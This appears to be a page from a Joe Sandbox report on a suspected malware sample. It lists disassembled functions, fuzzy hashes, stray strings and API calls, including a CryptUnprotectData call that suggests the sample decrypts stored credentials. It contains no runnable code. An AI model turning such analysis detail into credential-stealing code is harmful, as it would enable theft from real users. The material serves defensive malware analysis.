Associated: 00000000.00000002.2196696042.0000000000699000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.00000000006A0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.00000000006AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196958886.00000000006B0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2197067346.0000000000859000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2197081332.000000000085A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_110000_file.jbxd

Yara matches

Similarity

API ID:
String ID: -5_$AL%}$AP\O
API String ID: 0-55666361
Opcode ID: ded9e96bd11b011c06524acee7d560d2100644484d03c329991c500f20e65088
Instruction ID: 6e0ef2c23c258b68c6d2f1f1283d8f95b028a0f4ef42f37e4df819753efece44
Opcode Fuzzy Hash: ded9e96bd11b011c06524acee7d560d2100644484d03c329991c500f20e65088
Instruction Fuzzy Hash: B8B229F3A0C2049FE3046E2DEC8567AFBE9EF94620F1A453DEAC4C7744EA3558058697

Function 0057D09D Relevance: 5.4, Strings: 3, Instructions: 1602COMMON

Download Yara Rule

Strings

yUqi, xrefs: 0057E260
@0Wu, xrefs: 0057DF1B
%-k, xrefs: 0057DC56

Memory Dump Source

Source File: 00000000.00000002.2196696042.00000000003FA000.00000040.00000001.01000000.00000003.sdmp, Offset: 00110000, based on PE: true

Associated: 00000000.00000002.2196480304.0000000000110000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196494984.0000000000111000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196494984.000000000013C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196494984.000000000024D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196494984.0000000000259000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196494984.000000000027E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196494984.00000000003E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.0000000000590000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.0000000000672000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.0000000000699000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.00000000006A0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.00000000006AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196958886.00000000006B0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2197067346.0000000000859000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2197081332.000000000085A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_110000_file.jbxd

Yara matches

Similarity

API ID:
String ID: %-k$@0Wu$yUqi
API String ID: 0-1606714035
Opcode ID: ecc7c27bac0fd1f2bfa2ec5fed4d9afab595674e7cca8f93b721e66fb610041e
Instruction ID: 61247781b99e76d93c05c1d32fd480118d419d0e7dab10bb880dbb2c3e8b82ff
Opcode Fuzzy Hash: ecc7c27bac0fd1f2bfa2ec5fed4d9afab595674e7cca8f93b721e66fb610041e
Instruction Fuzzy Hash: B8B2FAF390C200AFE304AE2DDC8567AB7E9EF94720F1A893DE6C5C7744E63598418697

Function 00123970 Relevance: 4.6, APIs: 3, Instructions: 100comCOMMON

Download Yara Rule

APIs

CoCreateInstance.COMBASE(0012E120,00000000,00000001,0012E110,00000000), ref: 001239A8
MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,?,00000104), ref: 00123A00

Memory Dump Source

Source File: 00000000.00000002.2196494984.0000000000111000.00000040.00000001.01000000.00000003.sdmp, Offset: 00110000, based on PE: true

Associated: 00000000.00000002.2196480304.0000000000110000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196494984.000000000013C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196494984.000000000024D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196494984.0000000000259000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196494984.000000000027E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196494984.00000000003E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.00000000003FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.0000000000590000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.0000000000672000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.0000000000699000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.00000000006A0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.00000000006AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196958886.00000000006B0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2197067346.0000000000859000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2197081332.000000000085A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_110000_file.jbxd

Yara matches

Similarity

API ID: ByteCharCreateInstanceMultiWide
String ID:
API String ID: 123533781-0
Opcode ID: 10bfbd2a722824f43847dc9c22712b57cb19f6a93c89a4ef8fe209a0773fa1fd
Instruction ID: fd21155fc7d61d74356f0d4dd65c848be42e75e928700c089030e55da9e986b6
Opcode Fuzzy Hash: 10bfbd2a722824f43847dc9c22712b57cb19f6a93c89a4ef8fe209a0773fa1fd
Instruction Fuzzy Hash: 7741E870A40A289FDB24DB58DC95F9BB7B5BB48702F4042D8E618EB2D0D7B16E85CF50

Function 0011A2B0 Relevance: 4.6, APIs: 3, Instructions: 51memoryencryptionCOMMON

Download Yara Rule

APIs

CryptUnprotectData.CRYPT32(?,00000000,00000000,00000000,00000000,00000000,?), ref: 0011A2D4
LocalAlloc.KERNEL32(00000040,00000000), ref: 0011A2F3
LocalFree.KERNEL32(?), ref: 0011A323

Memory Dump Source

Source File: 00000000.00000002.2196494984.0000000000111000.00000040.00000001.01000000.00000003.sdmp, Offset: 00110000, based on PE: true

Associated: 00000000.00000002.2196480304.0000000000110000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196494984.000000000013C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196494984.000000000024D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196494984.0000000000259000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196494984.000000000027E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196494984.00000000003E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.00000000003FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.0000000000590000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.0000000000672000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.0000000000699000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.00000000006A0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.00000000006AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196958886.00000000006B0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2197067346.0000000000859000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2197081332.000000000085A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_110000_file.jbxd

Yara matches

Similarity

API ID: Local$AllocCryptDataFreeUnprotect
String ID:
API String ID: 2068576380-0
Opcode ID: b6e1d09923d85d9a5ef1dd3f34bcc361425c46d6c6906b4de8f1888b4a252951
Instruction ID: 2e9786161c10b5949d28e92842d4a687bfb2beefff963b7f29113b3b9ef62202
Opcode Fuzzy Hash: b6e1d09923d85d9a5ef1dd3f34bcc361425c46d6c6906b4de8f1888b4a252951
Instruction Fuzzy Hash: 4C11A8B8A01209DFCB05DFA4D985AAEB7B9FF89300F108569ED159B390D770AE50CB61

Function 00184BA8 Relevance: 3.4, Strings: 2, Instructions: 941COMMON

Download Yara Rule

Strings

__ZN, xrefs: 00184FDF
?, xrefs: 001854D5

Memory Dump Source

Source File: 00000000.00000002.2196494984.000000000013C000.00000040.00000001.01000000.00000003.sdmp, Offset: 00110000, based on PE: true

Associated: 00000000.00000002.2196480304.0000000000110000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196494984.0000000000111000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196494984.000000000024D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196494984.0000000000259000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196494984.000000000027E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196494984.00000000003E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.00000000003FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.0000000000590000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.0000000000672000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.0000000000699000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.00000000006A0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.00000000006AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196958886.00000000006B0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2197067346.0000000000859000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2197081332.000000000085A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_110000_file.jbxd

Yara matches

Similarity

API ID:
String ID: ?$__ZN
API String ID: 0-1427190319
Opcode ID: 5979ebcfade6a94da10809392b5ca83137eebb76b9c6aa0d0269130114abb242
Instruction ID: f3ba539fe077b31e5a4df7bd8ca550ccd915738790bc07074739c9fd6320cf08
Opcode Fuzzy Hash: 5979ebcfade6a94da10809392b5ca83137eebb76b9c6aa0d0269130114abb242
Instruction Fuzzy Hash: CA722272908B118BD718DF18C89066ABBE3FFD5310F698A1DF8A55B291D770DE418F82

Function 00165DB9 Relevance: 2.5, Strings: 1, Instructions: 1234COMMON

Download Yara Rule

Strings

xn--, xrefs: 00166009

Memory Dump Source

Source File: 00000000.00000002.2196494984.000000000013C000.00000040.00000001.01000000.00000003.sdmp, Offset: 00110000, based on PE: true

Associated: 00000000.00000002.2196480304.0000000000110000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196494984.0000000000111000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196494984.000000000024D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196494984.0000000000259000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196494984.000000000027E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196494984.00000000003E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.00000000003FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.0000000000590000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.0000000000672000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.0000000000699000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.00000000006A0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.00000000006AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196958886.00000000006B0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2197067346.0000000000859000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2197081332.000000000085A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_110000_file.jbxd

Yara matches

Similarity

API ID:
String ID: xn--
API String ID: 0-2826155999
Opcode ID: 7df6ecad3ed0aeae1596bd114aa1f7039c484854ff8b1381d6cb73b44afb5762
Instruction ID: f823360e6a477521aa724823e8f579b20627b8a314f0523c033f8d06a10440ce
Opcode Fuzzy Hash: 7df6ecad3ed0aeae1596bd114aa1f7039c484854ff8b1381d6cb73b44afb5762
Instruction Fuzzy Hash: 31A203B2D042688AEF18CB68CCA03FDBBB1FF55300F1842AAD5567B281D7755EA5CB50

Function 00164DC8 Relevance: 1.9, APIs: 1, Instructions: 411COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 00164DF3

Memory Dump Source

Source File: 00000000.00000002.2196494984.000000000013C000.00000040.00000001.01000000.00000003.sdmp, Offset: 00110000, based on PE: true

Associated: 00000000.00000002.2196480304.0000000000110000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196494984.0000000000111000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196494984.000000000024D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196494984.0000000000259000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196494984.000000000027E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196494984.00000000003E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.00000000003FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.0000000000590000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.0000000000672000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.0000000000699000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.00000000006A0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.00000000006AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196958886.00000000006B0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2197067346.0000000000859000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2197081332.000000000085A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_110000_file.jbxd

Yara matches

Similarity

API ID: __aulldiv
String ID:
API String ID: 3732870572-0
Opcode ID: c14b47d2e213c3a0e8374cf111387a659401d06af651524ed7eee9bee9842815
Instruction ID: 6e314019ae3813d63b54e18244dad69c9f856384b7b6bd6c1474fdde4ed1b9f1
Opcode Fuzzy Hash: c14b47d2e213c3a0e8374cf111387a659401d06af651524ed7eee9bee9842815
Instruction Fuzzy Hash: 6FE1D0316083419FC725DF28C8917AFB7E2EFCA300F558A2DE5D99B291D7319865CB82

Function 00164868 Relevance: 1.9, APIs: 1, Instructions: 400COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 00164893

Memory Dump Source

Source File: 00000000.00000002.2196494984.000000000013C000.00000040.00000001.01000000.00000003.sdmp, Offset: 00110000, based on PE: true

Associated: 00000000.00000002.2196480304.0000000000110000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196494984.0000000000111000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196494984.000000000024D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196494984.0000000000259000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196494984.000000000027E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196494984.00000000003E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.00000000003FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.0000000000590000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.0000000000672000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.0000000000699000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.00000000006A0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.00000000006AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196958886.00000000006B0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2197067346.0000000000859000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2197081332.000000000085A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_110000_file.jbxd

Yara matches

Similarity

API ID: __aulldiv
String ID:
API String ID: 3732870572-0
Opcode ID: 83317d89dfdf25b5cbfc261f48c526b848a7f8a57d589ef9335097789b789f81
Instruction ID: 15c1bfab1b5801c4ffce37e2541f5829a0702df6dc83cd6636e0a82ce82e7c8d
Opcode Fuzzy Hash: 83317d89dfdf25b5cbfc261f48c526b848a7f8a57d589ef9335097789b789f81
Instruction Fuzzy Hash: 87E1D231A083119FDB24CE58CC917AEB7E6EFC9314F158A2DE88A9B251D730EC55CB46

Function 0017E258 Relevance: 1.6, Strings: 1, Instructions: 383COMMON

Download Yara Rule

Strings

UNC\, xrefs: 0017E5B4

Memory Dump Source

Source File: 00000000.00000002.2196494984.000000000013C000.00000040.00000001.01000000.00000003.sdmp, Offset: 00110000, based on PE: true

Associated: 00000000.00000002.2196480304.0000000000110000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196494984.0000000000111000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196494984.000000000024D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196494984.0000000000259000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196494984.000000000027E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196494984.00000000003E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.00000000003FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.0000000000590000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.0000000000672000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.0000000000699000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.00000000006A0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.00000000006AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196958886.00000000006B0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2197067346.0000000000859000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2197081332.000000000085A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_110000_file.jbxd

Yara matches

Similarity

API ID:
String ID: UNC\
API String ID: 0-505053535
Opcode ID: f944912daca86eef5da2b02659a6c861781d9d5d66b239bded02d895f8a825b7
Instruction ID: 04976d661779b15e17ffe1f37ab0ac41802ff8938637e9ac5deda3d9d866ce78
Opcode Fuzzy Hash: f944912daca86eef5da2b02659a6c861781d9d5d66b239bded02d895f8a825b7
Instruction Fuzzy Hash: 74E11A71D042658EEB148F19C8843BEBBF2AB8D314F19C1E9D4AD9F292D7358D46CB90

Function 004FF62E Relevance: 1.5, Strings: 1, Instructions: 243COMMON

Download Yara Rule

Strings

{'}, xrefs: 004FF747

Memory Dump Source

Source File: 00000000.00000002.2196696042.00000000003FA000.00000040.00000001.01000000.00000003.sdmp, Offset: 00110000, based on PE: true

Associated: 00000000.00000002.2196480304.0000000000110000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196494984.0000000000111000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196494984.000000000013C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196494984.000000000024D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196494984.0000000000259000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196494984.000000000027E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196494984.00000000003E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.0000000000590000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.0000000000672000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.0000000000699000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.00000000006A0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.00000000006AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196958886.00000000006B0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2197067346.0000000000859000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2197081332.000000000085A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_110000_file.jbxd

Yara matches

Similarity

API ID:
String ID: {'}
API String ID: 0-2617744002
Opcode ID: cee7e1663d9a4918b323b4791d0976c9684b39dbb7d5abba3da7b36ab6c5b209
Instruction ID: 8055e03dcc02b1b812e31af7a4a5b741f88d90853dd0695c39ffe366f005c246
Opcode Fuzzy Hash: cee7e1663d9a4918b323b4791d0976c9684b39dbb7d5abba3da7b36ab6c5b209
Instruction Fuzzy Hash: D07135F3F046045BF304592ADD8877AB7DBEBC4720F2B853DDA8897784E83E590A4295

Function 004985AD Relevance: 1.4, Strings: 1, Instructions: 175COMMON

Download Yara Rule

Strings

Ehtv, xrefs: 0049879D

Memory Dump Source

Source File: 00000000.00000002.2196696042.00000000003FA000.00000040.00000001.01000000.00000003.sdmp, Offset: 00110000, based on PE: true

Associated: 00000000.00000002.2196480304.0000000000110000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196494984.0000000000111000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196494984.000000000013C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196494984.000000000024D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196494984.0000000000259000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196494984.000000000027E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196494984.00000000003E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.0000000000590000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.0000000000672000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.0000000000699000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.00000000006A0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.00000000006AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196958886.00000000006B0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2197067346.0000000000859000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2197081332.000000000085A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_110000_file.jbxd

Yara matches

Similarity

API ID:
String ID: Ehtv
API String ID: 0-964658544
Opcode ID: 938c77dffa2d9351e67c3f57f0caaaea72bb5199d29104c01663518de83ea2b6
Instruction ID: 124f3e551122a72e7dd468c23acd20b22f8593e1d18270e0112ecb778e488ebe
Opcode Fuzzy Hash: 938c77dffa2d9351e67c3f57f0caaaea72bb5199d29104c01663518de83ea2b6
Instruction Fuzzy Hash: 6A511DF36187048BE7006E2DECC476ABBD6EBD4324F2A853DDAC487784E93958058786

Function 00442623 Relevance: 1.4, Strings: 1, Instructions: 142COMMON

Download Yara Rule

Strings

P[, xrefs: 0044270A

Memory Dump Source

Source File: 00000000.00000002.2196696042.00000000003FA000.00000040.00000001.01000000.00000003.sdmp, Offset: 00110000, based on PE: true

Associated: 00000000.00000002.2196480304.0000000000110000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196494984.0000000000111000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196494984.000000000013C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196494984.000000000024D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196494984.0000000000259000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196494984.000000000027E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196494984.00000000003E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.0000000000590000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.0000000000672000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.0000000000699000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.00000000006A0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.00000000006AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196958886.00000000006B0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2197067346.0000000000859000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2197081332.000000000085A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_110000_file.jbxd

Yara matches

Similarity

API ID:
String ID: P[
API String ID: 0-4286110700
Opcode ID: edf3cd78a0c8099baf92f0611f0d91f6f71d3b26a4e912440b2a678204c589e9
Instruction ID: 216ac2c3aa9cd8e01ab3c6bf52eb8b3d7ddc15f20a9f40d987d3bcf2a9874542
Opcode Fuzzy Hash: edf3cd78a0c8099baf92f0611f0d91f6f71d3b26a4e912440b2a678204c589e9
Instruction Fuzzy Hash: 1C41E3F380C2249BE3146F29EC8176AFBE8EB14360F17453DEAD5D3744E53558148A96

Function 0013E544 Relevance: .8, Instructions: 823COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2196494984.000000000013C000.00000040.00000001.01000000.00000003.sdmp, Offset: 00110000, based on PE: true

Associated: 00000000.00000002.2196480304.0000000000110000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196494984.0000000000111000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196494984.000000000024D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196494984.0000000000259000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196494984.000000000027E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196494984.00000000003E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.00000000003FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.0000000000590000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.0000000000672000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.0000000000699000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.00000000006A0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.00000000006AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196958886.00000000006B0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2197067346.0000000000859000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2197081332.000000000085A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_110000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
